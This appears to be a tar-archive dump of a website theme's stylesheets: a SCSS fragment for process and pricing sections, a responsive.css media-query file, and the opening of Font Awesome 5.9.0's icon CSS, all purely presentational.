#fff; margin-top: 0; padding-top: 0; } } i { font-style: normal; font-size: 20px; color: var(--thm-text); letter-spacing: .3em; display: block; line-height: 1; margin-top: 7px; } } } &__text { margin: 0; color: var(--thm-text); font-size: 20px; font-weight: 300; margin-bottom: 10px; @media(min-width: 992px) { margin-bottom: 0; } } &__social { display: flex; justify-content: center; align-items: center; margin-top: 25px; a { font-size: 16px; text-align: center; justify-content: center; align-items: center; width: 44px; height: 44px; display: flex; background-color: #fff; border-radius: 50%; color: var(--thm-text); transition: all 500ms ease; &:hover { color: #fff; background-color: var(--thm-base); } +a { margin-left: 10px; } } } } /* process one */ .process-one { counter-reset: processCount; padding-top: 90px; @media(min-width: 992px) { padding-top: 120px; } .row { margin-bottom: 90px; &:nth-child(even) { @media(min-width: 992px) { flex-direction: row-reverse; .process-one__image__column { display: flex; justify-content: flex-end; } .process-one__image { &::before, &::after { left: auto; right: 0; transform: translate(50%, -50%); } } } } @media(min-width: 992px) { margin-bottom: 120px; } } &__image { counter-increment: processCount; position: relative; display: inline-block; margin-bottom: 50px; border-radius: 8px; background-color: var(--thm-black); @media(min-width: 992px) { margin-bottom: 0; } &::before { content: ''; border-radius: 50%; background-color: #f4f5f8; position: absolute; width: 200px; height: 200px; top: 50%; left: 50%; transform: translate(-50%, -50%); @media(min-width: 992px) { width: 387px; height: 387px; top: 50%; left: 0%; transform: translate(-50%, -50%); } } &::after { content: counters(processCount, ".", decimal-leading-zero); background-color: var(--thm-base); display: flex; justify-content: center; align-items: center; text-align: center; position: absolute; border-radius: 50%; color: var(--thm-black); font-family: var(--thm-font); font-size: 30px; padding-top: 5px; width: 60px; height: 60px; top: 20%; left: 20%; transform: translate(-50%, -50%); @media(min-width: 992px) { width: 128px; height: 128px; top: 50%; left: 0; transform: translate(-50%, -50%); font-size: 50px; padding-top: 12px; } } img { max-width: 100%; border-radius: 8px; position: relative; mix-blend-mode: luminosity; } } .sec-title { margin-bottom: 0; } &__summery { margin: 0; font-size: 16px; color: var(--thm-text); line-height: 2.125em; font-weight: 400; margin-top: 34px; margin-bottom: 36px; } &__list { li { position: relative; padding-left: 30px; font-size: 16px; color: var(--thm-text); font-weight: 400; >i { position: absolute; top: 8px; left: 0; color: var(--thm-base); font-size: 20px; } } } } /* pricing three */ .pricing-three { padding-top: 100px; padding-bottom: 70px; &__card { margin-bottom: 30px; border-radius: 8px; border: 1px solid #e9ebee; padding: 50px 49px; transition: all 500ms ease; padding-bottom: 40px; &:hover { background-color: var(--thm-black); border-color: var(--thm-black); } } &__name { text-transform: uppercase; color: var(--thm-base); font-size: 20px; letter-spacing: .1em; margin: 0; line-height: 1; margin-bottom: 10px; } &__icon { font-size: 64px; color: var(--thm-base); margin-bottom: 28px; } &__amount { display: inline-block; position: relative; font-family: var(--thm-font); font-size: 60px; text-transform: uppercase; line-height: 1; color: var(--thm-black); margin: 0; transition: all 500ms ease; } &__card:hover &__amount { color: #fff; } &__currency { position: absolute; top: 0; right: 100%; transform: translateY(-20%); font-style: normal; font-size: 30px; } &__list { margin-bottom: 20px; li { color: var(--thm-text); font-size: 16px; transition: all 500ms ease; } } &__card:hover &__list { li { color: #999b9f; } } &__tagline { border-top: 1px solid #e9ebee; font-size: 16px; line-height: 2.125; color: var(--thm-text); margin: 0; transition: all 500ms ease; padding-top: 20px; padding-bottom: 22px; } &__card:hover &__tagline { color: #999b9f; border-color: rgba(#ffffff, .1); } .btn-style-two .btn-title { font-size: 16px; padding: 13px 39px 10px; } &__card:hover .btn-style-two { color: var(--thm-black); } &__card:hover .btn-style-two .btn-curve { background-color: var(--thm-base); } &__card:hover .btn-style-two .btn-curve { opacity: 1; right: 0; width: 100%; -webkit-transform: skewX(0deg); transform: skewX(0deg); } .switch-toggler-list { display: flex; align-items: center; justify-content: center; margin-bottom: 30px; li { order: 0; &:nth-child(2) { order: 2; } &:last-child { order: 1; margin-left: 10px; margin-right: 10px; } a { color: var(--thm-text); font-size: 18px; } &.active { a { color: var(--thm-black); } } .switch { width: 79px; height: 36px; background-color: var(--thm-base); border-radius: 18px; position: relative; display: block; cursor: pointer; span { width: 26px; height: 26px; border-radius: 50%; background-color: #fff; display: block; position: absolute; left: 5px; top: 5px; transform: translateX(0%); transition: transform 500ms ease, background 500ms ease; } &.off { span { background-color: var(--thm-black); transform: translateX(43px); } } } } } .animated { animation-duration: 1500ms; } } responsive.css 0000644 00000062716 14704434233 0007473 0 ustar 00 @media only screen and (max-width: 7000px) { .page-wrapper { overflow: hidden; } } @media only screen and (max-width: 1699px) { .banner-carousel .slide-item .round-image { top: 100px; right: -150px; width: 750px; height: 750px; } .banner-carousel .slide-item .round-image .image { width: 750px; height: 750px; } .banner-carousel .slide-item .round-image:before { bottom: 70px; left: -70px; } } @media only screen and (max-width: 1499px) { .main-header .other-links .search-btn { padding-right: 30px; margin-right: 30px; } .main-header .header-upper .inner-container { padding-left: 20px; padding-right: 20px; } .banner-carousel .slide-item .round-image { top: 170px; right: -150px; width: 650px; height: 650px; } .banner-carousel .slide-item .round-image .image { width: 650px; height: 650px; } .banner-carousel .slide-item .round-image:before { bottom: 70px; left: -70px; } } @media only screen and (max-width: 1340px) { .banner-carousel .slide-item .shape-1 { left: -200px; } .banner-carousel .slide-item .shape-2 { left: -150px; } .banner-carousel .slide-item .shape-3 { right: -250px; } .banner-carousel .slide-item .shape-4 { right: -50px; } .banner-carousel .slide-item .shape-5 { right: -100px; } .project-tab .p-tabs-content { margin: 0 15px; } .alternate .project-tab .p-tabs-content { margin: 0 0px; } .fluid-section h3 { font-size: 48px; } } @media only screen and (max-width: 1199px) { .main-header.fixed-header .header-upper .logo-box { padding-top: 20px; padding-bottom: 20px; } .main-header.fixed-header .nav-outer .mobile-nav-toggler { margin-top: 20px; } .header-style-two.fixed-header .nav-outer .mobile-nav-toggler { color: #fff; } .banner-carousel .slide-item .round-image { right: -250px; } .main-header .other-links .link-box { display: none; } .main-menu .navigation>li { margin-right: 30px; } .main-header .nav-outer .main-menu, .sticky-header { display: none !important; } .main-header .nav-outer { float: right; position: relative; width: auto; height: auto; padding: 0; } .main-header.fixed-header .other-links .search-btn { padding-top: 21.5px; padding-bottom: 21.5px; } .nav-outer .mobile-nav-toggler { display: block; } .header-style-two .nav-outer .mobile-nav-toggler { color: #222429; } .banner-section .left-based-text { display: none; } .banner-carousel .content-box h1, .banner-three .banner-carousel .content-box h1 { font-size: 100px; } .about-section .text-column .inner { padding-left: 0; } .about-section .image-column .inner:before { width: 12px; height: 180px; } .about-section .image-column { order: 12; } .about-section .text-column { order: 0; } .about-section .image-column .inner { max-width: 750px; } .about-section:before { display: none; } .sec-title h2 { font-size: 60px; line-height: 1em; } .we-do-section .left-col .inner { padding-right: 0; } .trusted-section .right-col .inner { padding-top: 70px; padding-left: 30px; } .team-section .carousel-box { margin: 0 15px; } .parallax-section .content-box h2 { font-size: 60px; } .agency-section .left-col .inner { padding-right: 0; } .call-to-section h2, .call-to-section-two h2 { font-size: 48px; line-height: 1em; } .call-to-section-two .link-box { padding-top: 10px; } .featured-section .left-col .inner { padding-right: 0; } .testimonials-section .owl-theme .owl-dots { width: 100%; margin: 0; left: 0; } .features-section .content-box h2 { font-size: 60px; } .get-quote-section .form-box { margin: 0 0; } .get-quote-section .left-col .inner, .features-section-two .left-col .inner, .about-section-two .left-col .inner { padding-right: 0; } .work-tabs .tab-buttons .tab-btn { font-size: 26px; } .work-tabs .text-col .inner, .about-section-two .right-col .inner { padding-left: 0; } .testi-block-two .text { font-size: 36px; } .page-banner h1 { font-size: 70px; line-height: 1em; } .banner-carousel .owl-nav { display: none; } .header-style-seven .header-upper .logo-box { display: flex; align-items: center; justify-content: space-between; width: 100%; } .header-style-seven.fixed-header .nav-outer .mobile-nav-toggler, .header-style-seven .nav-outer .mobile-nav-toggler { margin-top: 0; } .header-style-seven .header-upper .logo-box { padding-top: 20px; padding-bottom: 20px; } .header-style-seven .header-upper .inner-container { padding-left: 0; padding-right: 0; } .banner-section-four .swiper-slide .auto-container { padding-top: 200px; padding-bottom: 120px; } .banner-section-four h2 { font-size: 50px; line-height: 60px; } .banner-section-four p { margin-top: 25px; margin-bottom: 30px; } .banner-section-four p br { display: none; } } @media only screen and (min-width: 768px) { .main-menu .navigation>li>ul, .main-menu .navigation>li>ul>li>ul { display: block !important; visibility: hidden; opacity: 0; } } @media only screen and (max-width: 991px) { .banner-carousel .slide-item .shape-1 { left: -300px; } .banner-carousel .slide-item .shape-2 { left: -200px; } .banner-carousel .slide-item .shape-3 { right: -350px; } .banner-carousel .slide-item .shape-4 { right: -50px; } .banner-carousel .slide-item .shape-5 { right: -150px; } .banner-carousel .slide-item .round-image { display: none; } .banner-carousel .content-box { height: 800px; } .banner-carousel .content-box h1 { font-size: 80px; line-height: 1em; } .banner-carousel .content-box .link-box { padding-top: 30px; } .banner-three .banner-carousel .content-box .inner { max-width: none; text-align: center; } .banner-carousel .content-box h1 br { display: none; } .banner-three .banner-carousel .content-box h1 { font-size: 70px; line-height: 1em; } .banner-three .banner-carousel .content-box { height: 700px; } .featured-section { padding-top: 170px; padding-bottom: 60px; } .services-section, .about-section, .gallery-section, .news-section, .get-quote-section, .discover-section, .features-section-two .content-container, .about-section-two, .sponsors-section-two, .sidebar-page-container { padding: 90px 0px 60px; } .live-section, .services-section-two, .gallery-section-two, .get-quote-two, .services-section-three.padd-top { padding-top: 90px; } .map-section { padding-bottom: 90px; } .get-quote-two { padding-bottom: 180px; } .gallery-section-two.alternate { padding-bottom: 60px; } .we-do-section { padding: 210px 0px 60px; } .page-banner .inner-container { padding: 220px 0px 100px; } .team-section, .contact-section { padding: 90px 0px 60px; } .team-section.no-padd-top { padding: 0px 0px 60px; } .trusted-section { padding-bottom: 40px; } .faqs-section, .get-quote-three { padding: 90px 0px 70px; } .parallax-section, .testimonials-section, .error-section { padding: 80px 0px; } .call-to-section-two { padding: 80px 0px 70px; } .services-section-three, .testimonials-page { padding-bottom: 60px; } .sponsors-section { padding: 70px 0px; } .call-to-section .inner { padding: 70px 20px 60px; } .agency-section, .we-work-section, .project-single { padding: 90px 0px 50px; } .why-us-section { padding: 80px 0px 40px; } .features-section, .testimonials-section-two { padding: 90px 0px; } .about-section-two .image-box { margin: 0; } .parallax-section .content-box h2 { font-size: 48px; } .fluid-section .column .inner { padding: 90px 20px; } .about-section .text-column .text ul { width: 100%; } .about-section .text-column .text .since { margin-left: 40px; margin-top: 20px; } .live-section .main-image-box .round-inner { padding-top: 210px; } .live-section .main-image-box .title h3, .features-section .content-box h2 { font-size: 48px; } .sec-title h2 { font-size: 50px; line-height: 1.05em; } .gallery-section .upper-row .sec-title { width: 100%; text-align: center; margin-bottom: 40px; } .gallery-section .upper-row .filters { width: 100%; text-align: center; } .mixitup-gallery .filters li { margin: 0 15px 10px; } .facts-section, .facts-section.alternate { padding-top: 90px; padding-bottom: 20px; } .trusted-section .outer-container { margin-top: 80px; } .fact-counter .column .inner { padding-top: 0; } .fact-counter .column .inner:before { display: none; } .trusted-section .right-col .inner { padding-top: 0px; padding-left: 0px; } .trusted-section .col-header .header-inner { padding: 50px 30px; min-height: 0px; } .call-to-section, .call-to-section-two { text-align: center; } .call-to-section h2, .call-to-section-two h2 { width: 100%; margin-bottom: 10px; } .call-to-section .link-box, .call-to-section-two .link-box { width: 100%; padding: 20px 0 0; } .why-us-section .right-col .inner { padding-left: 0; padding-top: 20px; } .fluid-section h3 { font-size: 42px; } .features-section-two .content-container:before { right: -20px; } .features-section-two .right-col .image-box img { width: 100%; max-width: 100%; } .work-tabs .tab-buttons .tab-btn { font-size: 22px; } .testimonials-section-two .carousel-box { padding-right: 100px; } .testimonials-section-two .owl-theme .owl-nav { right: -80px; } .testi-block-two .text { font-size: 30px; } .testi-block-two .icon { font-size: 120px; line-height: 0.8em; top: 10px; } .get-quote-two .left-col .inner { max-width: none; } .page-banner h1 { font-size: 60px; line-height: 1.05em; } .page-banner .shape-1, .page-banner .shape-2 { display: none; } .page-banner .inner-container { padding: 180px 0px 50px; } .error-section .big-text { font-size: 250px; } .error-section h2 { font-size: 48px; } .service-details h3 { font-size: 42px; } .service-details h4 { font-size: 32px; } .contact-section .upper-info, .contact-section .map-box { margin-bottom: 60px; } .demo-top h3 { font-size: 80px; } .demo-top p { font-size: 32px; } .demo-gallery .mixitup-gallery .filters .filter+.filter { margin-left: 25px; } .demo-features__wrapper { grid-template-columns: repeat(4, 1fr); } .main-footer__demo .footer-widget h3 { font-size: 55px; } .banner-section-four .swiper-slide .auto-container { text-align: center; } .banner-section-four .swiper-slide .auto-container h2, .banner-section-four .swiper-slide .auto-container p { max-width: 450px; margin-left: auto; margin-right: auto; } .about-section-three__image { max-width: 500px; margin-left: auto; margin-right: auto; display: block; margin-bottom: 60px; } .live-section-two .sec-title-two h2, .sec-title-two h2 { font-size: 45px; } .about-section-three__content { max-width: 500px; margin-left: auto; margin-right: auto; } .testi-block-three { padding-bottom: 90px; } .testi-block-three__single { margin-bottom: 30px; } .news-two__content h3 { font-size: 30px; } } @media only screen and (max-width: 767px) { .banner-carousel .slide-item .shape-1, .banner-carousel .slide-item .shape-2, .banner-carousel .slide-item .shape-3, .banner-carousel .slide-item .shape-4, .banner-carousel .slide-item .shape-5 { display: none; } .banner-section .owl-dots { bottom: 20px; } .banner-carousel .content-box h1 { font-size: 60px; } .banner-carousel .content-box { height: 600px; text-align: center; } .banner-carousel .slide-item .left-top-line, .banner-carousel .slide-item .right-bottom-curve, .banner-carousel .slide-item .right-top-curve { display: none; } .banner-three .banner-carousel .content-box h1 { font-size: 60px; line-height: 1em; } .sec-title h2 { font-size: 42px; line-height: 1.15em; } .live-section .main-image-box .vid-link { position: relative; left: 0; top: 0; margin: 0 auto 50px; } .live-section .main-image-box .round-box { height: auto; width: 100%; right: 0; padding: 20px 20px; } .live-section .main-image-box .round-inner { position: relative; display: block; padding: 70px 30px 50px; text-align: center; height: auto; width: 100%; border-radius: 10px; } .live-section .main-image-box .round-box:before { left: -5px; top: -5px; right: -5px; bottom: -5px; width: auto; height: auto; border-radius: 10px; } .live-section .main-image-box .more-link { text-align: center; } .sec-title h2 br { display: none; } .fact-counter .column .inner .count-outer { font-size: 64px; line-height: 1em; } .team-section { padding-bottom: 50px; } .team-section .owl-theme .owl-dots { display: none; } .parallax-section .content-box h2 { font-size: 42px; } .sponsors-outer { text-align: center; } .call-to-section h2, .call-to-section-two h2 { font-size: 36px; } .why-us-section { padding-top: 60px; } .project-tab .owl-theme .owl-dots { display: none; } .features-section { text-align: center; } .features-section .feature-block { width: 100%; margin: 0 0 50px; } .features-section .feature-block .inner { padding: 0 0; margin: 0 0; text-align: center; } .features-section .feature-block .inner:before { display: none; } .get-quote-section .featured-block h4 { font-size: 32px; } .work-tabs .tab-buttons .tab-btn { width: 100%; padding: 20px 15px; } .testi-block-two .text { font-size: 26px; } .testimonials-section-two .carousel-box { padding-right: 0; } .testimonials-section-two .owl-theme .owl-nav { display: none; } .testi-block-two .info { margin-top: 30px; } .testi-block-two .info .name { font-size: 20px; } .error-section .big-text { font-size: 180px; } .error-section h2, .news-block-two .lower-box h4, .news-block-three .inner-box h4, .post-details .lower-box h4, .comments-title h3 { font-size: 32px; } .page-banner h1 { font-size: 48px; } .demo-features__wrapper { grid-template-columns: repeat(3, 1fr); } .main-footer__three .bottom-footer .auto-container { flex-direction: column; justify-content: center; align-items: center; text-align: center; } .main-footer__three .bottom-footer .social-links { margin-top: 20px; } .login-wrapper .login-content__inner { max-width: 430px; margin-left: auto; margin-right: auto; padding-left: 40px; padding-right: 40px; } .login-wrapper .logo { margin-bottom: 50px; } .login-wrapper { padding-top: 30px; padding-bottom: 30px; } .login-wrapper .login-bg { width: 100%; top: 0; min-height: 100vh; height: 100%; } } @media only screen and (max-width: 599px) { .banner-carousel .content-box h1 { font-size: 46px; } .banner-three .banner-carousel .content-box h1 { font-size: 46px; line-height: 1em; margin-bottom: 10px; } .about-section .image-column .inner:before { display: none; } .live-section .main-image-box .title h3 { font-size: 32px; } .we-do-section .featured-block { padding-left: 0; padding-top: 0; } .we-do-section .featured-block .image { position: relative; left: 0; top: 0; width: 100%; height: auto; margin: 0 0 30px; } .trusted-section .col-header .header-inner { padding: 40px 20px; font-size: 30px; } .sec-title h2 { font-size: 36px; line-height: 1.15em; } .trusted-section .featured-block-two, .agency-section .featured-block-two { padding-left: 0; padding-top: 0; } .trusted-section .featured-block-two .image, .agency-section .featured-block-two .image { position: relative; left: 0; top: 0; width: 100%; margin: 0 0 30px; } .parallax-section .content-box h2 { font-size: 32px; line-height: 1.1em; } .default-tabs .tab-buttons .tab-btn { display: block; width: 100%; margin: 0 0 15px; } .default-tabs .tabs-content { padding-top: 10px; } .project-tab .product-tab-btns .p-tab-btn, .mixitup-gallery .filters li { margin: 0px 10px 15px; } .why-us-section .left-col .image-box:before { left: -60px; } .testi-block .inner { padding: 50px 25px 40px; } .testi-block .icon { right: 30px; top: 50px; } .testimonials-section .owl-theme .owl-dots { display: none; } .features-section .content-box h2 { font-size: 36px; line-height: 1em; } .get-quote-section .counter { text-align: center; } .get-quote-section .counter .counter-text { width: 100%; margin-bottom: 30px; } .get-quote-section .counter .counter-image { width: 100%; padding: 0; } .get-quote-section .counter .counter-image:before { display: none; } .get-quote-section .form-box { padding: 40px 20px; } .get-quote-section .form-box h4 { font-size: 32px; } .get-quote-section .featured-block { padding-left: 0; text-align: center; } .get-quote-section .featured-block .image { position: relative; left: 0; top: 0; width: 100%; margin: 0 0 30px; } .fluid-section h3, .project-single.style-two h5 { font-size: 32px; } .discover-block .inner-box { padding-left: 0; } .discover-block .cap-box { position: absolute; left: 20px; bottom: 20px; right: 20px; max-width: 100%; width: auto; } .discover-block .cap-inner { padding: 30px 80px 30px 20px; } .features-section-two .sec-title { text-align: center; } .features-section-two .right-col .cap-box { left: 10px; bottom: 10px; right: 10px; max-width: none; width: auto; } .features-section-two .right-col .cap-inner { padding: 25px 15px; text-align: center; max-width: none; width: auto; } .features-section-two .right-col .cap-inner h5 { font-size: 24px; } .banner-three .banner-carousel .content-box { height: 600px; } .testi-block-two, .sponsors-section-two { text-align: center; } .testi-block-two .text { font-size: 22px; } .testimonials-section-two { padding: 70px 0px 80px; } .page-banner h1 { font-size: 48px; line-height: 1.1em; } .discover-block .cap-inner h5 { font-size: 24px; } .service-details h3 { font-size: 36px; } .service-details h4 { font-size: 26px; } .news-block-three .inner-box { padding: 40px 25px 30px; } .news-block-two .image-box .vid-link .icon { transform: scale(0.7); } .sidebar .sidebar-widget .widget-inner { padding: 40px 25px; } .sidebar .search-box .widget-inner { padding: 0; } .sidebar .services ul li:before { left: -15px; right: -15px; } .page-banner .bread-crumb li:before { display: none; } .page-banner .bread-crumb li { padding: 0; margin: 0 7px !important; } .post-details .info-row .tags-info { width: 100%; margin-bottom: 10px; } .post-details .info-row .cat-info { width: 100%; } .sidebar-page-container .post-control-two .control-inner { min-height: 0; padding: 40px 25px; } .sidebar-page-container .post-control-two .control-inner h4 { font-size: 26px; } .comments-area .comment-box { margin-bottom: 40px; padding-bottom: 35px; } .comments-area .comment { padding-left: 0; } .comments-area .comment-box .author-thumb { position: relative; left: 0; top: 0; margin: 0 0 30px; } .portfolio-masonary h3, .parallax-block__content h3 { font-size: 55px; margin-bottom: 15px; } .portfolio-masonary h3 { margin-bottom: 0; } .portfolio-masonary__filter-wrapper { flex-direction: column; justify-content: center; align-items: center; } .portfolio-masonary .filters { text-align: center; } .portfolio-masonary__more { display: none; } .demo-header .header-upper .logo-box { margin-right: 0; } .demo-purchase-btn .btn-title { padding-left: 15px; padding-right: 15px; padding-top: 13px; padding-bottom: 10px; } .demo-top { padding-top: 190px; padding-bottom: 100px; } .demo-top h3 { font-size: 45px; } .demo-top p { font-size: 28px; } .header-style-seven .topbar-four { display: none; } .header-style-seven .header-upper { margin-top: 0; } .banner-section-four { margin-top: 0; } .call-to-section-three .auto-container, .live-section-two .auto-container { justify-content: center; align-items: center; text-align: center; flex-direction: column; } .live-section-two .button-block { margin-top: 40px; } .call-to-section-three .button-wrap { margin-top: 30px; } .main-footer__three .bottom-footer .left-content { flex-direction: column; justify-content: center; align-items: center; text-align: center; } .main-footer__three .bottom-footer .left-content p { margin-left: 0; padding-left: 0; border-left: 0; margin-top: 10px; } .main-footer__three .bottom-footer .social-links { margin-top: 10px; } } @media only screen and (max-width: 479px) { .about-section .image-column .image-block, .about-section .image-column .image-block:nth-child(1), .about-section .image-column .image-block:nth-child(2) { margin: 0 0 10px; width: 100%; } .trusted-section .feature, .why-us-section .feature .inner-box, .why-us-section .right-col .inner, .features-section-two .feature { padding-left: 0; text-align: center; } .trusted-section .feature h5 { font-size: 24px; } .trusted-section .feature .count, .why-us-section .feature .inner-box:before, .features-section-two .feature .count { position: relative; display: block; left: 0; top: 0; margin: 0 auto 30px; } .news-block .lower-box { padding-left: 5px; padding-right: 5px; } .call-to-section h2, .call-to-section-two h2 { font-size: 32px; } .why-us-section .left-col .image-box:before { left: -110px; } .why-us-section .left-col .vid-link { right: 50px; bottom: 10px; } .testi-block .icon { position: relative; left: 0; right: 0; top: 0; margin: 0 0 -10px; line-height: 1em; display: block; } .page-banner h1 { font-size: 42px; } .portfolio-masonary h3, .main-footer__two .footer-widget h3 { font-size: 40px; line-height: 1.3; max-width: 90%; } .main-footer__two .footer-widget p { flex-direction: column; justify-content: center; align-items: center; text-align: center; } .main-footer__two .footer-widget p a, .main-footer__two .footer-widget p span { margin-left: 0 !important; } .demo-features__wrapper { grid-template-columns: repeat(2, 1fr); } .main-footer__demo .footer-widget h3 { margin-left: auto; margin-right: auto; width: 100%; } .main-footer__two .footer-widget p { font-size: 22px; margin-bottom: 30px; } .call-to-section-three .auto-container h3, .banner-section-four h2 { font-size: 38px; line-height: 1.4; } .live-section-two .sec-title-two h2, .sec-title-two h2 { font-size: 30px; } .login-wrapper { padding-left: 20px; padding-right: 20px; } .main-header .nav-outer { order: 1; } .main-header .header-upper .inner-container { display: flex; } } fontawesome-all.css 0000644 00000221236 14704434233 0010365 0 ustar 00 /*! * Font Awesome Free 5.9.0 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */ .fa, .fas, .far, .fal, .fab { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; display: inline-block; font-style: normal; font-variant: normal; text-rendering: auto; line-height: 1; } .fa-lg { font-size: 1.33333em; line-height: 0.75em; vertical-align: -.0667em; } .fa-xs { font-size: .75em; } .fa-sm { font-size: .875em; } .fa-1x { font-size: 1em; } .fa-2x { font-size: 2em; } .fa-3x { font-size: 3em; } .fa-4x { font-size: 4em; } .fa-5x { font-size: 5em; } .fa-6x { font-size: 6em; } .fa-7x { font-size: 7em; } .fa-8x { font-size: 8em; } .fa-9x { font-size: 9em; } .fa-10x { font-size: 10em; } .fa-fw { text-align: center; width: 1.25em; } .fa-ul { list-style-type: none; margin-left: 2.5em; padding-left: 0; } .fa-ul > li { position: relative; } .fa-li { left: -2em; position: absolute; text-align: center; width: 2em; line-height: inherit; } .fa-border { border: solid 0.08em #eee; border-radius: .1em; padding: .2em .25em .15em; } .fa-pull-left { float: left; } .fa-pull-right { float: right; } .fa.fa-pull-left, .fas.fa-pull-left, .far.fa-pull-left, .fal.fa-pull-left, .fab.fa-pull-left { margin-right: .3em; } .fa.fa-pull-right, .fas.fa-pull-right, .far.fa-pull-right, .fal.fa-pull-right, .fab.fa-pull-right { margin-left: .3em; } .fa-spin { -webkit-animation: fa-spin 2s infinite linear; animation: fa-spin 2s infinite linear; } .fa-pulse { -webkit-animation: fa-spin 1s infinite steps(8); animation: fa-spin 1s infinite steps(8); } @-webkit-keyframes fa-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes fa-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } .fa-rotate-90 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)"; -webkit-transform: rotate(90deg); transform: rotate(90deg); } .fa-rotate-180 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)"; -webkit-transform: rotate(180deg); transform: rotate(180deg); } .fa-rotate-270 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)"; -webkit-transform: rotate(270deg); transform: rotate(270deg); } .fa-flip-horizontal { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; -webkit-transform: scale(-1, 1); transform: scale(-1, 1); } .fa-flip-vertical { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; -webkit-transform: scale(1, -1); transform: scale(1, -1); } .fa-flip-both, .fa-flip-horizontal.fa-flip-vertical { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; -webkit-transform: scale(-1, -1); transform: scale(-1, -1); } :root .fa-rotate-90, :root .fa-rotate-180, :root .fa-rotate-270, :root .fa-flip-horizontal, :root .fa-flip-vertical, :root .fa-flip-both { -webkit-filter: none; filter: none; } .fa-stack { display: inline-block; height: 2em; line-height: 2em; position: relative; vertical-align: middle; width: 2.5em; } .fa-stack-1x, .fa-stack-2x { left: 0; position: absolute; text-align: center; width: 100%; } .fa-stack-1x { line-height: inherit; } .fa-stack-2x { font-size: 2em; } .fa-inverse { color: #fff; } /* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen readers do not read off random characters that represent icons */ .fa-500px:before { content: "\f26e"; } .fa-accessible-icon:before { content: "\f368"; } .fa-accusoft:before { content: "\f369"; } .fa-acquisitions-incorporated:before { content: "\f6af"; } .fa-ad:before { content: "\f641"; } .fa-address-book:before { content: "\f2b9"; } .fa-address-card:before { content: "\f2bb"; } .fa-adjust:before { content: "\f042"; } .fa-adn:before { content: "\f170"; } .fa-adobe:before { content: "\f778"; } .fa-adversal:before { content: "\f36a"; } .fa-affiliatetheme:before { content: "\f36b"; } .fa-air-freshener:before { content: "\f5d0"; } .fa-airbnb:before { content: "\f834"; } .fa-algolia:before { content: "\f36c"; } .fa-align-center:before { content: "\f037"; } .fa-align-justify:before { content: "\f039"; } .fa-align-left:before { content: "\f036"; } .fa-align-right:before { content: "\f038"; } .fa-alipay:before { content: "\f642"; } .fa-allergies:before { content: "\f461"; } .fa-amazon:before { content: "\f270"; } .fa-amazon-pay:before { content: "\f42c"; } .fa-ambulance:before { content: "\f0f9"; } .fa-american-sign-language-interpreting:before { content: "\f2a3"; } .fa-amilia:before { content: "\f36d"; } .fa-anchor:before { content: "\f13d"; } .fa-android:before { content: "\f17b"; } .fa-angellist:before { content: "\f209"; } .fa-angle-double-down:before { content: "\f103"; } .fa-angle-double-left:before { content: "\f100"; } .fa-angle-double-right:before { content: "\f101"; } .fa-angle-double-up:before { content: "\f102"; } .fa-angle-down:before { content: "\f107"; } .fa-angle-left:before { content: "\f104"; } .fa-angle-right:before { content: "\f105"; } .fa-angle-up:before { content: "\f106"; } .fa-angry:before { content: "\f556"; } .fa-angrycreative:before { content: "\f36e"; } .fa-angular:before { content: "\f420"; } .fa-ankh:before { content: "\f644"; } .fa-app-store:before { content: "\f36f"; } .fa-app-store-ios:before { content: "\f370"; } .fa-apper:before { content: "\f371"; } .fa-apple:before { content: "\f179"; } .fa-apple-alt:before { content: "\f5d1"; } .fa-apple-pay:before { content: "\f415"; } .fa-archive:before { content: "\f187"; } .fa-archway:before { content: "\f557"; } .fa-arrow-alt-circle-down:before { content: "\f358"; } .fa-arrow-alt-circle-left:before { content: "\f359"; } .fa-arrow-alt-circle-right:before { content: "\f35a"; } .fa-arrow-alt-circle-up:before { content: "\f35b"; } .fa-arrow-circle-down:before { content: "\f0ab"; } .fa-arrow-circle-left:before { content: "\f0a8"; } .fa-arrow-circle-right:before { content: "\f0a9"; } .fa-arrow-circle-up:before { content: "\f0aa"; } .fa-arrow-down:before { content: "\f063"; } .fa-arrow-left:before { content: "\f060"; } .fa-arrow-right:before { content: "\f061"; } .fa-arrow-up:before { content: "\f062"; } .fa-arrows-alt:before { content: "\f0b2"; } .fa-arrows-alt-h:before { content: "\f337"; } .fa-arrows-alt-v:before { content: "\f338"; } .fa-artstation:before { content: "\f77a"; } .fa-assistive-listening-systems:before { content: "\f2a2"; } .fa-asterisk:before { content: "\f069"; } .fa-asymmetrik:before { content: "\f372"; } .fa-at:before { content: "\f1fa"; } .fa-atlas:before { content: "\f558"; } .fa-atlassian:before { content: "\f77b"; } .fa-atom:before { content: "\f5d2"; } .fa-audible:before { content: "\f373"; } .fa-audio-description:before { content: "\f29e"; } .fa-autoprefixer:before { content: "\f41c"; } .fa-avianex:before { content: "\f374"; } .fa-aviato:before { content: "\f421"; } .fa-award:before { content: "\f559"; } .fa-aws:before { content: "\f375"; } .fa-baby:before { content: "\f77c"; } .fa-baby-carriage:before { content: "\f77d"; } .fa-backspace:before { content: "\f55a"; } .fa-backward:before { content: "\f04a"; } .fa-bacon:before { content: "\f7e5"; } .fa-balance-scale:before { content: "\f24e"; } .fa-balance-scale-left:before { content: "\f515"; } .fa-balance-scale-right:before { content: "\f516"; } .fa-ban:before { content: "\f05e"; } .fa-band-aid:before { content: "\f462"; } .fa-bandcamp:before { content: "\f2d5"; } .fa-barcode:before { content: "\f02a"; } .fa-bars:before { content: "\f0c9"; } .fa-baseball-ball:before { content: "\f433"; } .fa-basketball-ball:before { content: "\f434"; } .fa-bath:before { content: "\f2cd"; } .fa-battery-empty:before { content: "\f244"; } .fa-battery-full:before { content: "\f240"; } .fa-battery-half:before { content: "\f242"; } 